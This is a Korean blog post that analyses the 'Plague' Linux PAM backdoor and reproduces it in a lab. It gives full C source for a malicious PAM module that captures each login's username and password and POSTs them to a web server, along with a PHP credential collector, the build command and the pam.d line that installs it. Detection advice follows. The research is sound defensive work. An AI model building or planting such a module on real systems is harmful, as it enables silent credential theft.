변조된 PAM 모듈, Plague 악성코드 in Linux

1. 개요

어제 보안뉴스를 보다가 또 뭔가 난리났다는 기사를 봤다.

또 언제나처럼 호들갑이 아닌가 싶었는데, 그정도는 아닌 것 같고 어느 정도 심각한 것 같기는하다.

그래도 아직까지는 좀 호들갑이 아닐까 하는데.. 또 이런 새로운 공격 기법이 나오면 분석해줘야하는 것이 보안쟁이 아니던가

거침없이 나의 맥북 에어를 펼쳐 들었는데, 샘플을 다운로드 받을 곳이 없다.. 우리회사도 바토좀 사주세요..

아무튼 그러면 없는대로 한번 맨땅에 머리를 박아보겠다.


2. 리눅스 사용자 인증 과정

리눅스 시스템에서는 사용자 인증을 처리하기위해 PAM, Polkit 등 프로세스를 활용한다.

여기서 PAM이란 Pluggable Authentication Modules 라는 의미다. 즉 탈부착 가능한 인증 모듈이다.

polkit은 권한 상승에 사용 되는 모듈이므로 이 포스팅에서는 다루지 않겠다.


2-1. PAM(Pluggable Authentication Modules)

자 그럼 이제 우리는 이 PAM 이라는것 부터 이해를 시작해야한다.

리눅스 시스템에서 이 PAM은 다단계 인증 처리를 가능하게 하며 /etc/pam.d 경로에 설정된 모듈 체인에 따라 동작한다.

주요 모듈 별 역할은 다음 표와 같다.

모듈 유형역할예시
auth사용자의 신원 확인비밀번호 확인, OTP, 생체인증
account계정 상태 확인로그인 가능 시간/기간, 쉘 금지 여부
password패스워드 변경 처리만료, 복잡도 확인 등
session세션 생성/종료로그 기록, 리소스 마운트 등

주요 설정파일 경로는 다음과 같다.

📁 주요 설정 파일 위치:

  • /etc/pam.d/login (콘솔 로그인)

  • /etc/pam.d/sshd (SSH 로그인)

  • /etc/pam.d/common-auth 등 (Debian 계열에서 공통 사용)


2-2. SSH 로그인 시 인증 절차

가장 먼저 SSH 부터 생각해보자.

a. 사용자가 SSH 연결을 통해 인증 정보를 입력하면 ssh 서버 또는 ssh데몬(sshd)는 /etc/ssh/sshd_config 파일에서 UsePAM 옵션을 확인한다. 만약 UsePAM이 활성화되어 있지 않다면 /etc/passwd, shadow 기반의 SSH 자체 인증 방식을 적용한다.

sshd_config

b. PAM 활성화 시 SSH가 PAM을 로드하고 /etc/pam.d/sshd에 정의된 PAM 모듈 체인을 실행

c. 각 단계에서 auth, account, session, password 모듈이 순차적으로 평가됨

d. 모든 모듈이 성공하면 로그인 허용, 실패하면 거부됨


2-3. /etc/pam.d/sshd 파일 분석

아래 예제는 실제 필자가 사용 중인 컨테이너에 있는 파일이다.

/etc/pam.d/sshd

GPT의 도움을 받아 주석을 달아봤다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

# 사용자 인증 처리 모듈 포함 (비밀번호, OTP 등)
@include common-auth

# /etc/nologin 파일이 존재하면 root를 제외한 로그인 차단
account    required     pam_nologin.so

# 계정 상태 확인(잠금, 만료 등) 처리 모듈 포함
@include common-account

# 세션 종료 시 SELinux 보안 컨텍스트 제거
# - success=ok: 성공이면 OK
# - ignore=ignore: ignore는 무시
# - module_unknown=ignore: 모듈 알 수 없음은 무시
# - default=bad: 그 외는 실패
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close

# 로그인 UID 기록 → 감사(audit) 시스템 연동
session    required     pam_loginuid.so

# 사용자 키링 초기화 (GNOME Keyring 등)
# 기존 키 강제 취소 (revoke)
session    optional     pam_keyinit.so force revoke

# 세션 공통 처리 모듈 포함 (umask, systemd 등)
@include common-session

# MOTD 출력: /run/motd.dynamic 파일 내용 표시
session    optional     pam_motd.so  motd=/run/motd.dynamic

# MOTD 출력: update-motd 실행 방지 (정적 출력만)
session    optional     pam_motd.so noupdate

# 리소스 제한 적용: /etc/security/limits.conf 기반
session    required     pam_limits.so

# 환경 변수 설정:
# - /etc/default/locale 불러옴
# - 사용자의 ~/.pam_environment도 함께 적용
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale

# 세션 시작 시 SELinux 보안 컨텍스트 설정
# 보안 라벨 부여
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open

# 비밀번호 변경 처리 모듈 포함 (passwd 명령 시 사용)
@include common-password

2-4. PAM 모듈 경로

pam 모듈은 다음 경로에 존재한다.

/lib/x86-64-linux-gnu/security

pam 모듈 파일 경로


3. 악성 코드 동작 원리

정말 별거아니다. 이런 모듈형 악성코드는 과거에도 있었고, 현재도 그리고 미래에도 있을 것이다.

그래서 처음에 필자가 보안쟁이들이 또 호들갑을 떠는구나 라고 했던 것이다.

정말 단순한데, 사용자 인증 시 호출되는 pam_sm_authenticate라는 함수를 후킹(사실 엄밀하게 보자면 후킹은 아니다)하는 것이다.

함수를 재정의해 모듈을 파일을 새로 만들고, 기존 모듈 파일과 바꿔치는 행위다.

다만 필자는 테스트기 때문에 바꿔치지는 않고 새로운 모듈 파일만 생성해서 끼워넣어 볼 것이다.

저 함수를 후킹하는 새로운 모듈을 만들어 /lib/x86-64-linux-gnu/security 경로에 모듈을 넣어주고

/etc/pam.d/ 경로에 있는 설정 파일에 해당 모듈을 실행하라고 작성해주면 된다. 그러면 실제로 한번 코드를 작성해서 동작시켜보자.


3-1. PAM 모듈 개발하기

필자는 nextron-system에서 공개한 코드를 사용해 필자의 환경에 맞춰 약간 수정을 해보겠다. 원본 코드는 아래 reference를 참고하거나 다음 그림을 참고하자

nextron-system PAM모듈 백도어 코드

자 다음 필자의 코드를 보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#define AUTH_URL "http://localhost/pam_backdoor.php"  // HTTPS 아님

#include <security/pam_modules.h>
#include <security/pam_appl.h>
#include <security/pam_ext.h>
#include <curl/curl.h>
#include <stdio.h>

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
                                   int argc, const char **argv) {
    const char *user = NULL;
    const char *password = NULL;

    // 사용자 ID 가져오기
    if (pam_get_user(pamh, &user, NULL) != PAM_SUCCESS || user == NULL) {
        return PAM_AUTH_ERR;
    }

    // 비밀번호(토큰) 가져오기
    if (pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL) != PAM_SUCCESS || password == NULL) {
        return PAM_AUTH_ERR;
    }

    // JSON 페이로드 구성
    char json_payload[512];
    snprintf(json_payload, sizeof(json_payload),
             "{\"username\":\"%s\", \"password\":\"%s\"}", user, password);

    // cURL 초기화
    CURL *curl = curl_easy_init();
    if (!curl) return PAM_AUTH_ERR;

    // HTTP 헤더 구성
    struct curl_slist *headers = NULL;
    headers = curl_slist_append(headers, "Content-Type: application/json");

    // cURL 옵션 설정
    curl_easy_setopt(curl, CURLOPT_URL, AUTH_URL);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_payload);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);

    // 요청 수행
    long response_code = 0;
    CURLcode res = curl_easy_perform(curl);
    if (res == CURLE_OK) {
        curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
    }

    // 리소스 정리
    curl_slist_free_all(headers);
    curl_easy_cleanup(curl);

    // HTTP 200이면 인증 성공, 아니면 실패
    if (res != CURLE_OK || response_code != 200) {
        return PAM_AUTH_ERR;
    }

    return PAM_SUCCESS;
}

각 헤더파일의 역할은 다음과 같다.

빌드 의존성을 해결하기 위해 다음 패키지들을 설치해준다.

1
2
3
4
5
# Debian/Ubuntu
sudo apt install libpam0g-dev libcurl4-openssl-dev

# RHEL/Fedora
sudo dnf install pam-devel libcurl-devel

빌드 명령은 다음과 같다.

1
gcc -fPIC -shared -o pam_backdoor.so pam_backdoor.c -lpam -lcurl

빌드 결과는 다음과 같다

pam file build

데이터를 받는 php 파일은 다음과 같이 작성해주었다.

1
2
3
4
5
<?php
    $raw = file_get_contents("php://input");
    file_put_contents("/tmp/pam_log.json", $raw . PHP_EOL, FILE_APPEND);
    http_response_code(200);
?>

그리고 /etc/pam.d/sshd 파일의 제일 위에 다음 체인을 삽입하고

1
auth optional pam_backdoor.so

sshd 서비스를 재시작 했다.


4. 결과 확인

결과는 당연하게도 입력한 계정정보와 비밀번호가 그대로 찍혀있다.

result

systemd가 apache2 프로세스가 tmp 경로에 파일을 생성할 때 격리 환경에 생성하도록 설정되어 있어서 경로가 약간 바뀌긴 했지만, 전송한 json 형태의 계정정보 데이터가 그대로 저장된 것을 확인할 수 있다.

참고로 다음 명령으로 확인 가능하다

1
ervice-yGNzOe/tmp# systemctl cat apache2.service | grep PrivateTmp

PrivateTmp=true 면 격리환경 생성 설정이 되어있는 것이다.


5. 대응 방안

사실 이러한 모듈 바꿔치기는 일찍이 윈도우 운영체제에서는 굉장히 빈번하게 이루어졌다. 흔히 말하는 dll 이라는 것인데..

아무튼, 실제로 정상 모듈 파일과 똑같은 기능을 하는 코드에 이렇게 계정정보를 다른 서버로 전송하는 기능을 넣어서 파일을 바꿔치기한다면?

아무도 모를 것이다.

  1. FIM(File Integrity Monitoring)

그래서 중요 시스템의 기밀성과 무결성이 굉장히 중요한 것이다. 이러한 중요 파일들의 무결성을 유지하기 위해 우리는 hash와 FIM 기능을 활용할 수 있다.

FIM은 File Integrity Monitoring 의 줄임말로 파일의 무결성을 모니터링 한다는 뜻이다. 물론 이런 기능을 활용하기 위해서는 적절한 보안 솔루션을 적용하거나 SIEM Agent를 운용해야 할 수도 있다.

  1. 정적 분석(Static Analysis)

또는 정적 분석을 통해서 이런 인증과 관련된 모듈이 외부로 웹 요청을 날리는 기능이나 함수를 import하고 있다면 이상하게 생각할 수 있을 것이다.

그것 외에 또 적절한 탐지 방법이 있을까? 흠.. 고민해봐야겠다.


6. 탐지 방법


6-1. IAT, 심볼 탐지

모듈같은 바이너리 파일은 내부에 다양한 섹션들을 가지고 있다.

뭐 예를 들면 text, data, rdata 같은 영역들이다.

ELF 바이너리에서 심볼 정보는 symtab 섹션에 기록된다.

해당 정보는 다음 명령으로 확인해볼 수 있다.

1
2
3
4
5
6
7
readelf -s pam_backdoor.so                # 전체 심볼 보기 (.symtab)
readelf -s --dyn-syms pam_backdoor.so     # 동적 심볼만 보기 (.dynsym)

nm pam_backdoor.so                        # 심볼 표기 (보통 .symtab 기준)
nm -D pam_backdoor.so                     # 동적 심볼만 (동적 링킹 시 사용)

objdump -t pam_backdoor.so                # 심볼 테이블 디코드

한번 확인해보면 이렇게 curl 을 사용하는 것을 볼 수 있다. 이런 인증 모듈이 웹 연결이나 웹 요청을 사용할 필요는 없기때문에

‘의심’ 스럽다 생각해볼 수 있다.

symbols

참고

1
2
3
4
readelf -a -sW -r -l -Ws -S -x
ltrace
nm -D
objdump -d -R -X

6-2. 문자열 탐지

리버싱의 기초다. strings 명령으로 해당 바이너리 안에 어떤 문자열이 존재하는지 확인해보자.

strings

곧바로 웹서버 주소와 함수 이름, 로드하는 모듈 웹 요청헤더 정보등 다양한 정보들을 확인할 수 있다.


6-3. 행위 기반 탐지

이건 여러 보안업체에서 열심히 연구 중일 것이기 때문에 이 글에서는 말을 아끼겟다. (사실 어렵다)


6-4. 한계점

이러한 탐지 방법에는 한계점이 존재한다.

문자열 탐지는 아주 기초적인 xor 난독화에도 무력화되기 십상이다. 최근 공격자들은 자신들의 평문 데이터를 절대 바이너리에 그대로 작성하지 않는다.

어떻게든 숨기고 탐지를 회피하려 하기 때문이다.

또, 쉘코드나 바이너리 코드 자체를 난독화해서 텍스트화 시킨 후 런타임에 복호화해서 process 생성하는 systemcall를 사용하거나 메모리에 주입하는 등의 행위는

이러한 정적 분석 방법으로는 탐지할 수 없다.

따라서 백신들이 프로그램 실행 시 메모리 검사를 수행해야하는데, 만약 바이너리 코드 로드 후 실제 동작 까지 딜레이시간을 준다면?

백신이 언제까지고 해당 프로그램에서 어떤 악성행위가 수행되는지 관찰하고 탐지할 수 있을까?

현실적으로 쉽지 않은 문제다.

포스팅 끝!


7. Reference

https://www.nextron-systems.com/2025/05/30/stealth-in-100-lines-analyzing-pam-backdoors-in-linux/

https://m.boannews.com/html/detail.html?idx=138511